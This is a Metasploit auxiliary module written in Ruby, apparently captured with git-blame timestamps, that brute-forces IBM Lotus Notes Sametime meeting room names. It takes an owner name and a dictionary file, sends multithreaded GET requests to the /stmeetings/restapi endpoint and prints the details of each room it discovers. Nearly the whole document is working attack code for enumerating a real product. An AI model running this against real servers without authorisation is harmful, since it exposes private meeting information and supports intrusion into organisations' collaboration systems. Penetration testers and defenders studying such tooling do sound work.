2013-12-26 12:02:52 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'enumerable'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-01-17 21:31:51 +00:00
|
|
|
'Name' => 'IBM Lotus Notes Sametime Room Name Brute-Forcer',
|
|
|
|
'Description' => %q{
|
2014-01-15 12:52:45 +00:00
|
|
|
This module brute forces Sametime meeting room names via the IBM
|
2014-01-17 21:31:51 +00:00
|
|
|
Lotus Notes Sametime web interface.
|
2014-01-15 12:52:45 +00:00
|
|
|
},
|
2014-01-17 21:31:51 +00:00
|
|
|
'Author' =>
|
2014-01-15 12:52:45 +00:00
|
|
|
[
|
|
|
|
'kicks4kittens' # Metasploit module
|
|
|
|
],
|
2014-01-17 21:31:51 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2014-01-17 21:34:33 +00:00
|
|
|
'DisclosureDate' => 'Dec 27 2013',
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SSL' => true
|
|
|
|
},
|
2014-01-17 21:31:51 +00:00
|
|
|
))
|
2014-01-15 12:52:45 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptString.new('OWNER', [ true, 'The owner to brute-force meeting room names for', '']),
|
|
|
|
OptPath.new('DICT', [ true, 'The path to the userinfo script', '']),
|
|
|
|
OptBool.new('FULLDATA', [ true, 'Output full meeting room data', true]),
|
|
|
|
OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/'])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
|
|
|
|
OptInt.new('Threads', [ true, 'Number of test threads', 10])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
print_status("Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}")
|
|
|
|
print_status("Using owner: #{datastore['OWNER']}")
|
|
|
|
|
|
|
|
# test for expected response code on non-existant meeting room name
|
|
|
|
rval = Rex::Text.rand_text_alpha(64)
|
|
|
|
uri = target_uri.path
|
|
|
|
@reqpath = normalize_uri(uri, '/restapi')
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => @reqpath,
|
|
|
|
'method' => 'GET',
|
|
|
|
'ctype' => 'text/html',
|
|
|
|
'vars_get' => {
|
|
|
|
'owner' => datastore['OWNER'],
|
|
|
|
'permaName' => rval
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
if not res
|
|
|
|
print_error("No response from server #{peer}")
|
|
|
|
return
|
2013-12-26 12:02:52 +00:00
|
|
|
end
|
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
if res.code == 404 and res.body =~ /Room does not exist/i
|
|
|
|
vprint_status("Server responding to restapi requests as expected")
|
|
|
|
else
|
|
|
|
print_error("Unexpected response from server (#{res.code}). Quitting....")
|
|
|
|
return
|
2013-12-26 12:02:52 +00:00
|
|
|
end
|
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
# create initial test queue and populate
|
|
|
|
@test_queue = Queue.new
|
|
|
|
@output_lock = false
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
|
|
|
|
print_status("Loaded #{@test_queue.length} values from dictionary")
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
print_status("Beginning dictionary brute-force using (#{datastore['Threads']} Threads)")
|
|
|
|
test_length = 1 # initial test length set
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
while(not @test_queue.empty?)
|
|
|
|
t = []
|
|
|
|
nt = datastore['Threads'].to_i
|
|
|
|
nt = 1 if nt == 0
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
if @test_queue.length < nt
|
|
|
|
# work around issue where threads not created as the queue isn't large enough
|
|
|
|
nt = @test_queue.length
|
|
|
|
end
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
begin
|
|
|
|
1.upto(nt) do
|
|
|
|
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
|
|
|
|
Thread.current.kill if not test_current
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
res = make_request(test_current)
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
if res and not res.code == 404
|
|
|
|
# check response for user data
|
|
|
|
check_response(res, test_current)
|
|
|
|
elsif res and res.code == 404
|
|
|
|
vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
|
|
|
|
else
|
|
|
|
print_error("No response from server when testing (#{test_current})")
|
2013-12-26 12:02:52 +00:00
|
|
|
end
|
2014-01-15 12:52:45 +00:00
|
|
|
end
|
2013-12-26 12:02:52 +00:00
|
|
|
end
|
2014-01-15 12:52:45 +00:00
|
|
|
t.each {|x| x.join }
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
rescue ::Timeout::Error
|
|
|
|
ensure
|
|
|
|
t.each {|x| x.kill rescue nil }
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
def make_request(test_current)
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
# make request and return response
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
# Apply timing information
|
|
|
|
if datastore['TIMING'] > 0
|
|
|
|
Rex::sleep(datastore['TIMING'])
|
|
|
|
end
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => @reqpath,
|
|
|
|
'method' => 'GET',
|
|
|
|
'ctype' => 'text/html',
|
|
|
|
'vars_get' => {
|
|
|
|
'owner' => datastore['OWNER'],
|
|
|
|
'permaName' => test_current
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def check_response(res, test_current)
|
|
|
|
|
|
|
|
# check the response for valid room information
|
|
|
|
|
|
|
|
begin
|
|
|
|
# check response exists AND that it validates as JSON before proceeding
|
|
|
|
if res.code.to_i == 200 and not JSON.parse(res.body).blank?
|
|
|
|
# successful response - extract room information
|
|
|
|
extract_room_data(res, test_current)
|
|
|
|
return true
|
|
|
|
elsif res.body =~ /Room does not exist/i
|
|
|
|
return false
|
|
|
|
else
|
|
|
|
print_error("Unexpected response received from server #{peer}")
|
|
|
|
end
|
|
|
|
rescue JSON::ParserError
|
|
|
|
# non-JSON response - server may be overloaded
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
def extract_room_data(res, test_current)
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
# extract room data if not already present
|
|
|
|
begin
|
|
|
|
roominfo = JSON.parse(res.body)
|
|
|
|
output_table(roominfo, test_current)
|
|
|
|
rescue JSON::ParserError
|
|
|
|
print_error("Error reading JSON string, continuing")
|
2013-12-26 12:02:52 +00:00
|
|
|
end
|
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
end
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
def output_table(roominfo, test_current)
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
if datastore['FULLDATA']
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
# print output table for discovered meeting rooms
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
roomtbl = Msf::Ui::Console::Table.new(
|
|
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
|
|
'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}",
|
|
|
|
'Prefix' => "",
|
|
|
|
'Postfix' => "\n",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>[
|
|
|
|
"Key",
|
|
|
|
"Value"
|
|
|
|
])
|
2013-12-26 12:02:52 +00:00
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
roominfo['results'][0].each do | k,v |
|
|
|
|
if v.is_a?(Hash)
|
|
|
|
# breakdown Hash
|
|
|
|
roomtbl << [ k.to_s, '>>' ] # title line
|
|
|
|
v.each do | subk, subv |
|
|
|
|
roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty?
|
2013-12-26 12:02:52 +00:00
|
|
|
end
|
2014-01-15 12:52:45 +00:00
|
|
|
else
|
|
|
|
roomtbl << [ k.to_s, v.to_s || "-"] if not v.nil?
|
|
|
|
end
|
|
|
|
end
|
|
|
|
# output table
|
|
|
|
print_good(roomtbl.to_s)
|
|
|
|
|
|
|
|
else
|
|
|
|
print_good("New meeting room found: #{test_current}")
|
|
|
|
end
|
2013-12-26 12:02:52 +00:00
|
|
|
|
|
|
|
|
2014-01-15 12:52:45 +00:00
|
|
|
end
|
2013-12-26 12:02:52 +00:00
|
|
|
|
|
|
|
end
|